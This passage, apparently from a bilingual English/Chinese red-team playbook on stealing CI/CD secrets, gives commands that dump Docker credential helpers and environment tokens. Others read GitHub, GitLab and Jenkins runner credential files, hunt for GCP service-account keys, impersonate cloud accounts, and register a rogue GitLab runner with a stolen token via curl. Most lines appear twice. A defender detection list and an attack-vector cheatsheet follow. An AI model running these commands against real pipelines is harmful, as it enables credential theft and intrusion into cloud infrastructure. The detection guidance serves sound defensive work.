docker-credential-gcr list 2>/dev/null docker-credential-ecr-login list 2>/dev/null docker-credential-desktop list 2>/dev/null
docker-credential-gcr list 2>/dev/null docker-credential-ecr-login list 2>/dev/null docker-credential-desktop list 2>/dev/null

For each credential helper, get the stored credentials

For each credential helper, get the stored credentials

for helper in gcr ecr-login desktop secretservice pass; do echo "=== docker-credential-$helper ===" echo "" | docker-credential-$helper list 2>/dev/null |
jq -r 'keys[]' 2>/dev/null | while read registry; do echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.' done done
for helper in gcr ecr-login desktop secretservice pass; do echo "=== docker-credential-$helper ===" echo "" | docker-credential-$helper list 2>/dev/null |
jq -r 'keys[]' 2>/dev/null | while read registry; do echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.' done done

Check for registry tokens in environment

Check for registry tokens in environment

env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort

GitHub Container Registry token -- GITHUB_TOKEN often has packages:write

GitHub Container Registry token -- GITHUB_TOKEN often has packages:write

echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin

AWS ECR -- extract temporary credentials

AWS ECR -- extract temporary credentials

aws ecr get-login-password --region us-east-1
aws ecr get-login-password --region us-east-1

GCP Artifact Registry

GCP Artifact Registry

gcloud auth print-access-token

---
gcloud auth print-access-token

---

Service Connections and Runner Tokens

服务连接与 Runner Token

Cloud service connections and runner tokens provide direct pivot paths from CI/CD into infrastructure.
bash
undefined
云服务连接和 Runner Token 为从 CI/CD 横向进入基础设施提供直接路径。
bash
undefined

Azure DevOps service connections -- credentials injected as env vars

Azure DevOps service connections -- credentials injected as env vars

echo "ARM_CLIENT_ID: $ARM_CLIENT_ID" echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..." az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID" az role assignment list --assignee "$ARM_CLIENT_ID" --output table
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID" echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..." az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID" az role assignment list --assignee "$ARM_CLIENT_ID" --output table

GCP service account keys on runners

GCP service account keys on runners

find / -name "*.json" -exec grep -l "private_key_id" {} ; 2>/dev/null gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
find / -name "*.json" -exec grep -l "private_key_id" {} ; 2>/dev/null gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com

AWS cross-account role assumption

AWS cross-account role assumption

aws sts get-caller-identity

Runner tokens enable job interception and rogue runner registration:

```bash
aws sts get-caller-identity

Runner Token 可用于拦截 Job 和注册恶意 Runner:

```bash

GitHub Actions self-hosted runner credentials

GitHub Actions self-hosted runner credentials

cat /home/runner/.runner 2>/dev/null | jq '.' cat /home/runner/.credentials 2>/dev/null find / -path "actions-runner" -name ".runner" 2>/dev/null
cat /home/runner/.runner 2>/dev/null | jq '.' cat /home/runner/.credentials 2>/dev/null find / -path "actions-runner" -name ".runner" 2>/dev/null

GitLab runner token extraction

GitLab runner token extraction

grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null

Claim jobs with a stolen GitLab runner token

Claim jobs with a stolen GitLab runner token

curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request"
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request"
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"

Jenkins agent secret files

Jenkins agent secret files

find / -name "secret.key" -path "/jenkins/" 2>/dev/null

---
find / -name "secret.key" -path "/jenkins/" 2>/dev/null

---

Detection / Defender View

检测 / 防御方视角

Defenders should implement these controls and monitor for these indicators:
  • Environment variable access patterns: Alert when pipeline steps execute
    env
    ,
    printenv
    , or access
    /proc/self/environ
    outside expected debugging contexts.
  • Outbound data exfiltration: Monitor runner network traffic for POST requests to unknown hosts and unusual DNS query patterns.
  • Secrets access auditing: Enable vault/secrets-manager access logs. Alert on bulk secret enumeration or access from unexpected IP ranges.
  • OIDC token claims validation: Ensure cloud provider trust policies validate specific claims (repository, branch, environment) rather than broad organization-level trust.
  • Log sanitization: Scan build logs for credential patterns before storage using truffleHog or detect-secrets.
  • Cache integrity: Implement cache signing or checksums to detect poisoning.
  • Runner filesystem hygiene: Use ephemeral runners. Scrub filesystem between jobs on persistent runners.
  • Token rotation: Rotate runner registration tokens regularly. Monitor for unexpected runner registrations.
  • Credential scope minimization: Apply least-privilege to all CI/CD credentials. Use short-lived tokens. Separate read and write credentials.
Key defensive controls: use OIDC with narrow claim constraints over long-lived credentials; enable audit logging on all secrets platforms; use ephemeral container-based runners; restrict secret access via environment protection rules; implement network segmentation for build environments.

防御方应实施以下控制措施并监控这些指标:
  • 环境变量访问模式:当 Pipeline 步骤在预期调试场景之外执行
    env
    、
    printenv
    或访问
    /proc/self/environ
    时发出告警。
  • 出站数据外泄:监控 Runner 网络流量中的未知主机 POST 请求和异常 DNS 查询模式。
  • 密钥访问审计:启用 Vault/Secrets Manager 访问日志。对批量密钥枚举或来自异常 IP 范围的访问发出告警。
  • OIDC Token Claims 校验:确保云提供商信任策略校验特定 Claims(repository、branch、environment),而不是信任整个组织级范围。
  • 日志净化:使用 truffleHog 或 detect-secrets 在存储前扫描构建日志中的凭据模式。
  • 缓存完整性:实施缓存签名或校验和检测投毒。
  • Runner 文件系统卫生:使用临时 Runner。在持久化 Runner 的 Job 之间清理文件系统。
  • Token 轮换:定期轮换 Runner 注册 Token。监控异常 Runner 注册。
  • 凭据范围最小化:对所有 CI/CD 凭据应用最小权限原则。使用短期 Token。分离只读和写入凭据。
关键防御控制:使用带窄 Claims 约束的 OIDC,而非长期凭据;在所有 Secrets 平台上启用审计日志;使用基于临时容器的 Runner;通过环境保护规则限制密钥访问;对构建环境实施网络分段。

Engagement Cheatsheet

参与速查表

VectorPlatformAccess RequiredImpact
Env var dumpAllPipeline executionAll injected secrets
Log masking bypassAllPipeline executionSecret values in logs
Vault token reuseAll + VaultPipeline executionVault secret access
AWS metadata/credsAWS runnersPipeline executionAWS account access
Azure managed identityAzure runnersPipeline executionAzure subscription
GCP metadata/SA keyGCP runnersPipeline executionGCP project access
OIDC federation abuseGitHub/GitLabWorkflow in trusted orgCloud role assumption
Build log analysisAllLog read accessLeaked credentials
Cache poisoningGitHub/GitLabCache write accessCredential exfiltration
Jenkins credential dumpJenkinsScript console accessAll stored credentials
GitLab variable extractionGitLabAPI tokenProject/group secrets
Docker config theftAllRunner filesystemRegistry credentials
Runner token captureGitHub/GitLabRunner filesystemJob interception
Service connection theftAzure DevOpsPipeline executionCloud infra access
SSM Parameter StoreAWSPipeline executionStored parameters
Key Vault extractionAzurePipeline executionVault secrets/keys

攻击向量平台所需访问权限影响
环境变量转储AllPipeline 执行权限所有注入的密钥
日志遮蔽绕过AllPipeline 执行权限日志中的密钥值
Vault Token 复用All + VaultPipeline 执行权限Vault 密钥访问权限
AWS 元数据/凭据AWS runnersPipeline 执行权限AWS 账户访问权限
Azure 托管标识Azure runnersPipeline 执行权限Azure 订阅访问权限
GCP 元数据/SA KeyGCP runnersPipeline 执行权限GCP 项目访问权限
OIDC 联合滥用GitHub/GitLab受信任组织中的 Workflow云角色承担权限
构建日志分析All日志读取权限泄露的凭据
缓存投毒GitHub/GitLab缓存写入权限凭据外泄
Jenkins 凭据转储JenkinsScript Console 访问权限所有已存储的凭据
GitLab 变量提取GitLabAPI Token项目/群组密钥
Docker 配置窃取AllRunner 文件系统Registry 凭据
Runner Token 捕获GitHub/GitLabRunner 文件系统Job 拦截
服务连接窃取Azure DevOpsPipeline 执行权限云基础设施访问权限
SSM Parameter StoreAWSPipeline 执行权限已存储的参数
Key Vault 提取AzurePipeline 执行权限Vault 密钥/密钥材料

Key References

关键参考